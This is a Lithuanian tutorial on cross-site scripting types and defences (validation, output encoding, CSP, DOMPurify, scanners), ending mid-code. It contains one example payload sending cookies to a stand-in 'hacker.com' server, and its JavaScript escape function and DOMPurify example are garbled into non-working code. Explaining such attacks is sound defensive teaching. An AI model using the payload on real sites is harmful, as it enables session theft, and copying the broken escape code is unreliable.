Cross-site scripting (XSS) atakos: prevencija ir apsauga

Kas tas XSS ir kodėl tai turėtų jus jaudinti

Jei manote, kad kibernetiniai nusikaltėliai yra kažkokie hoodie dėvintys hackeriai, kurie visą naktį geria energetinius gėrimus ir bando įsilaužti į NASA serverius – turiu jus nuvilti. Dažniausiai jie tiesiog ieško paprasčiausių spragų jūsų svetainėje, ir viena populiariausių tokių spragų yra Cross-Site Scripting arba XSS.

XSS atakos veikia labai paprastai: užpuolikas įterpia kenkėjišką kodą (dažniausiai JavaScript) į jūsų svetainę, kurią vėliau vykdo nieko neįtariantys vartotojai. Įsivaizduokite, kad kas nors paliktų nuodingą pyragą jūsų virtuvėje, o jūs, nė neįtardami, pasiūlytumėte jį svečiams. Maždaug taip ir veikia XSS.

Statistika šiek tiek bauginanti – pagal OWASP (Open Web Application Security Project) duomenis, XSS pažeidžiamumai vis dar yra tarp dešimties dažniausiai pasitaikančių saugumo problemų. Ir tai nėra todėl, kad programuotojai būtų kvailiai – tiesiog šiuolaikinės web aplikacijos yra sudėtingos, o viena klaida gali atverti duris visiems įmanomiems nusikaltėliams.

Trys XSS atakų tipai, kuriuos privalote pažinti

Reflected XSS – greitasis ir pavojingasis

Reflected XSS yra tarsi atspindys veidrodyje, tik daug pavojingesnis. Užpuolikas sukuria specialią nuorodą su kenkėjišku kodu, o kai auka ją paspaudžia, serveris „atspindi” tą kodą atgal į naršyklę ir jis įvykdomas.

Pavyzdžiui, turite paieškos laukelį savo svetainėje. Normalus vartotojas ieškotų „kaip iškepti pyragą”, bet užpuolikas įterptų kažką panašaus:

<script>document.location='http://hacker.com/steal.php?cookie='+document.cookie</script>

Jei jūsų svetainė nekontroliuoja įvesties, šis kodas bus įvykdytas, o vartotojo slapukai (įskaitant sesijos informaciją) bus nusiųsti tiesiai į užpuoliko serverį. Ir štai jau kažkas prisijungia prie jūsų paskyros.

Stored XSS – ilgalaikis košmaras

Stored XSS yra dar blogiau, nes kenkėjiškas kodas išsaugomas jūsų duomenų bazėje. Tai kaip užkasti miną – ji ten guli ir laukia, kol kas nors ją užklius. Dažniausiai tai nutinka komentarų skiltyse, forumuose ar bet kur, kur vartotojai gali palikti turinį.

Užpuolikas palieka „komentarą” su kenkėjišku kodu, o kiekvienas, kas paskui apsilanko tame puslapyje, tampa auka. Tai ypač pavojinga, nes gali paveikti šimtus ar tūkstančius vartotojų, kol kas nors pastebės problemą.

DOM-based XSS – subtiliausias iš visų

DOM-based XSS yra šiek tiek kitoks žvėris. Čia viskas vyksta kliento pusėje – serveris net nedalyvauja šiame procese. JavaScript kodas tiesiogiai manipuliuoja DOM (Document Object Model) naudodamas nesaugius duomenis.

Pavyzdžiui, jūsų JavaScript gali skaityti URL parametrus ir tiesiogiai juos įterpti į puslapį naudojant innerHTML. Jei nepatikrinsite, kas tame URL, užpuolikas gali įterpti bet ką.

Realūs padariniai: ne tik teorija

Galbūt galvojate: „Na ir kas, jei kažkas pavogs kelis slapukus?” Leiskite paaiškinti, kodėl tai yra didelė problema.

2018 metais British Airways patyrė duomenų nutekėjimą, kuris paveikė apie 380,000 klientų. Užpuolikai panaudojo XSS ataką, kad įterptų kenkėjišką kodą į mokėjimo puslapį. Rezultatas? 230 milijonų dolerių bauda pagal GDPR. Taip, su dviem nuliais.

Arba paimkite eBay atvejį 2016 metais, kai užpuolikai naudojo XSS pažeidžiamumą, kad nukreiptų vartotojus į phishing puslapius. Tūkstančiai žmonių prarado prieigą prie savo paskyrų, o kai kurie neteko pinigų.

XSS atakos gali:

  • Pavogti prisijungimo duomenis ir sesijos informaciją
  • Perimti vartotojo paskyras
  • Platinti kenkėjišką programinę įrangą
  • Defasuoti jūsų svetainę
  • Nukreipti vartotojus į phishing puslapius
  • Vykdyti veiksmus vartotojo vardu (pvz., pervesti pinigus, keisti slaptažodžius)

Prevencija: kaip užtikrinti savo tvirtovę

Input validation – pirmoji gynybos linija

Visada, VISADA patikrinkite vartotojo įvestį. Niekada nepasitikėkite tuo, kas ateina iš kliento pusės. Net jei tai atrodo kaip nekalta paieškos užklausa ar komentaras.

Praktinis patarimas: sukurkite whitelist požiūrį. Vietoj to, kad bandytumėte blokuoti visus galimus blogus simbolius (blacklist), geriau apibrėžkite, kas yra leistina. Pavyzdžiui, jei laukiate telefono numerio, priimkite tik skaičius ir galbūt kelis specialius simbolius kaip + ar -.

Štai paprastas PHP pavyzdys:


$username = $_POST['username'];
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
die('Neteisingas vartotojo vardas');
}

Output encoding – antroji gynybos linija

Net jei kažkas sugebėjo įterpti kenkėjišką kodą, jūs vis tiek galite jį neutralizuoti prieš rodydami vartotojui. Tai vadinama output encoding arba escaping.

Pagrindinė idėja paprasta: specialūs HTML simboliai (kaip <, >, &, ") turi būti konvertuoti į jų HTML entities atitikmenis (&lt;, &gt;, &amp;, &quot;).

Pavyzdžiui, PHP:

echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

JavaScript:

function escapeHtml(text) {
const map = {
'&': '&',
'<': '<', '>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}

Content Security Policy – modernioji apsauga

CSP yra kaip bouncer jūsų svetainei. Jis nustato taisykles, kuris kodas gali būti vykdomas jūsų puslapyje. Net jei užpuolikas sugebėtų įterpti kenkėjišką skriptą, CSP jį užblokuotų.

Paprasčiausia CSP antraštė galėtų atrodyti taip:


Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

Tai reiškia, kad visi resursai (skriptai, stiliai, paveikslėliai) turi būti kraunami tik iš jūsų domeno arba iš patikimo CDN. Jokie inline skriptai nebus vykdomi.

Tačiau būkite atsargūs – per griežtas CSP gali sugadinti jūsų svetainės funkcionalumą. Pradėkite nuo report-only režimo:


Content-Security-Policy-Report-Only: default-src 'self'

Taip galėsite stebėti, kas būtų užblokuota, nepažeisdami svetainės veikimo.

Praktiniai įrankiai ir technologijos

Teorija teorija, bet kaip tai pritaikyti praktikoje? Štai keletas konkrečių įrankių ir bibliotekų, kurios padės apsaugoti jūsų aplikacijas.

Framework’ai su integruota apsauga

Šiuolaikiniai web framework’ai jau turi įmontuotas XSS apsaugos priemones. React automatiškai escape’ina visus string’us, kuriuos rodote per JSX. Angular taip pat turi įmontuotą sanitization. Vue.js automatiškai escape’ina tekstinį turinį.

Bet atsargiai – jei naudojate dangerouslySetInnerHTML React’e arba v-html Vue’je, jūs patys atsakingi už saugumą. Šie metodai egzistuoja dėl priežasties – kartais reikia įterpti HTML, bet turite būti 100% tikri, kad tas HTML yra saugus.

DOMPurify – jūsų geriausias draugas

Jei tikrai reikia leisti vartotojams įterpti HTML (pvz., rich text editor’iuje), naudokite DOMPurify. Tai biblioteka, kuri išvalo HTML, pašalindama visus potencialiai pavojingus elementus.


import DOMPurify from 'dompurify';

const dirty = '';
const clean = DOMPurify.sanitize(dirty);
// Rezultatas:

Automatizuotas testavimas

Negalite tiesiog tikėtis, kad viskas veikia saugiai – turite tai patikrinti. Štai keletas įrankių:

OWASP ZAP – nemokamas security scanner, kuris gali automatiškai aptikti XSS pažeidžiamumus. Jis veikia kaip proxy tarp jūsų naršyklės ir serverio, analizuodamas visą srautą.

Burp Suite – profesionalus įrankis, turintis galingą XSS aptikimo funkcionalumą. Mokama versija, bet verta kiekvieno cento, jei rimtai užsiimate web security.

npm audit – jei naudojate Node.js, šis įrankis patikrina jūsų priklausomybes dėl žinomų pažeidžiamumų. Paleiskite jį reguliariai:


npm audit
npm audit fix

Dažniausios klaidos ir kaip jų išvengti

Per savo karjerą esu matęs šimtus projektų su XSS pažeidžiamumais. Ir žinote kas juokingiausia? Dažniausiai tai būna tos pačios klaidos.

Klaida #1: Patikėjimas kliento pusės validacija

JavaScript validacija naršyklėje yra puiki vartotojo patirčiai, bet VISIŠKAI NENAUDINGAS saugumui. Bet kas gali atidaryti developer tools ir pakeisti bet ką. Visada validuokite serverio pusėje.

Klaida #2: Escape’inimas tik vienoje vietoje

Turite escape’inti duomenis priklausomai nuo konteksto. HTML kontekste naudokite HTML encoding. JavaScript kontekste – JavaScript encoding. URL kontekste – URL encoding. Vienas metodas netinka visur.

Klaida #3: Regex magic

Bandymas parašyti savo regex, kuris „sugaus visus XSS” yra kaip bandymas sugauti visus žuvų rūšis vienu tinklu. Visada bus kažkas, ko nepamatysite. Naudokite patikrintas bibliotekas ir framework’ų įmontuotas funkcijas.

Klaida #4: „Mūsų svetainė per maža, niekas jos neužpuls”

Automatizuoti botai skenuoja internetą 24/7, ieškodami pažeidžiamumų. Jūsų svetainės dydis neturi reikšmės – jei ji pažeidžiama, ji bus surasta ir išnaudota.

Monitoringas ir incidentų valdymas

Net su geriausia apsauga, turite būti pasirengę blogiausiam scenarijui. Štai kaip.

Logging ir alerting

Įdiekite sistemą, kuri stebi įtartinus veiksmus. Pavyzdžiui, jei kas nors bando įterpti <script> tagus į formas, tai turėtų sukelti alertą. Naudokite įrankius kaip Sentry, LogRocket ar ELK stack.


// Paprastas pavyzdys su Winston (Node.js)
if (input.includes('